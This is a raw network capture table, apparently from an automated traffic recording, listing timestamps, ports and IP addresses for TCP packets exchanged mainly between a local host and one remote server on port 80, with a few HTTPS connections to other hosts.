Nov 23, 2024 09:16:29.355705976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.355765104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.355808020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.355853081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.356815100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.356931925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.356985092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.357954979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.358004093 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.358071089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.358117104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.359112978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.359162092 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.359211922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.359436989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.360219002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.360330105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.360397100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.361383915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.361440897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.361522913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.361586094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.362492085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.362548113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.362610102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.362783909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.363629103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.363687038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.363759995 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.363807917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.364753962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.364867926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.364919901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.411309958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.411413908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.411456108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.411535978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.411859035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.411931992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.411983967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.412049055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.413012028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.413060904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.413129091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.413172960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.414144993 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.414201021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.414253950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.414377928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.415244102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.415297031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.415379047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.415503025 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.416373968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.416424990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.416501045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.416547060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.417521000 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.417643070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.417711973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.418653011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.418819904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.418852091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.418881893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.419789076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.419838905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.419918060 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.420408964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.420928001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.421024084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.421050072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.421096087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.422091961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.422141075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.422148943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.422245026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.423171043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.423219919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.423289061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.423346043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.424299002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.424350977 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.424405098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.424467087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.425412893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.425460100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.425529957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.425576925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.426548004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.426645041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.426697969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.428000927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.428020954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.428069115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.428800106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.428847075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.428891897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.429799080 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.429923058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.429991961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.430037975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.431062937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.431109905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.431154013 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.431200981 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.432216883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.432286024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.432312965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.432343960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.476780891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.476802111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.476855040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.477157116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.477207899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.477300882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.477349043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.478207111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.478317022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.478347063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.478360891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.479340076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.479383945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.479459047 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.479507923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.480460882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.480509996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.480585098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.480633020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.481590033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.481645107 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.481688023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.481735945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.482728004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.482765913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.482830048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.482872963 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.483863115 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.483913898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.483956099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.484349966 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.485028982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.485076904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.485101938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.485141039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.486131907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.486299038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.486346960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.487252951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.487540960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.487541914 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.487577915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.488388062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.488437891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.488451004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.488497972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.489531040 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.489623070 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.489650965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.489665031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.490641117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.490688086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.490763903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.490817070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.540128946 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.541016102 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.541030884 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.541534901 CET	49726	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:29.541541100 CET	443	49726	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:29.545532942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.545708895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.545934916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.546022892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.546036959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.546076059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.546103954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.547234058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.547408104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.547456026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.548290968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.548465014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.548510075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.549345970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.549387932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.549532890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.549582005 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.550659895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.550673008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.550710917 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.550749063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.551892996 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.551908016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.551964998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.552869081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.552922964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.553040981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.553087950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.553602934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.553651094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.553713083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.553757906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.556297064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.556464911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.556526899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.557391882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.557446003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.557566881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.557579041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.557591915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.557615042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.557630062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.558573008 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.558584929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.558623075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.558649063 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.559587955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.559776068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.559829950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.560574055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.560589075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.560642004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.561566114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.561587095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.561619043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.561644077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.562645912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.562758923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.562820911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.563791037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.563843012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.563884020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.564944983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.565001965 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.565077066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.565126896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.566049099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.566101074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.566135883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.566179037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.610377073 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:29.610716105 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:29.612858057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.612934113 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:29.612947941 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:29.612961054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.613018036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.613295078 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:29.613354921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.613390923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.613431931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.613571882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.613611937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.613744020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.613786936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.614656925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.614701033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.614860058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.614903927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.615353107 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:29.615410089 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:29.615422010 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:29.615772009 CET	49725	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:29.615792036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.615856886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.615958929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.616739035 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.616796017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.616823912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.616864920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.617861032 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.617912054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.617953062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.618000031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.619003057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.619050980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.619101048 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.619151115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.620107889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.620225906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.620275021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.621416092 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.621465921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.622251987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.622301102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.624177933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.624191999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.624205112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.624219894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.624239922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.624273062 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.624988079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.624999046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.625036001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.626135111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.626148939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.626179934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.626209974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.627091885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.627273083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.627331018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.628285885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.628452063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.628524065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.629475117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.629538059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.629632950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.629681110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.630736113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.630749941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.630794048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.630808115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.631782055 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.631795883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.631850004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.632831097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.633006096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.633069992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.633780003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.633800983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.633827925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.633858919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.659373045 CET	443	49725	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:29.677954912 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.678042889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.678139925 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.678488016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.678534985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.678560019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.678586960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.679621935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.679667950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.679708004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.679747105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.680751085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.680879116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.680922985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.681934118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.681994915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.682121038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:29.682176113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:29.682997942 CET	80	49714	185.215.113.206	192.168.2.6
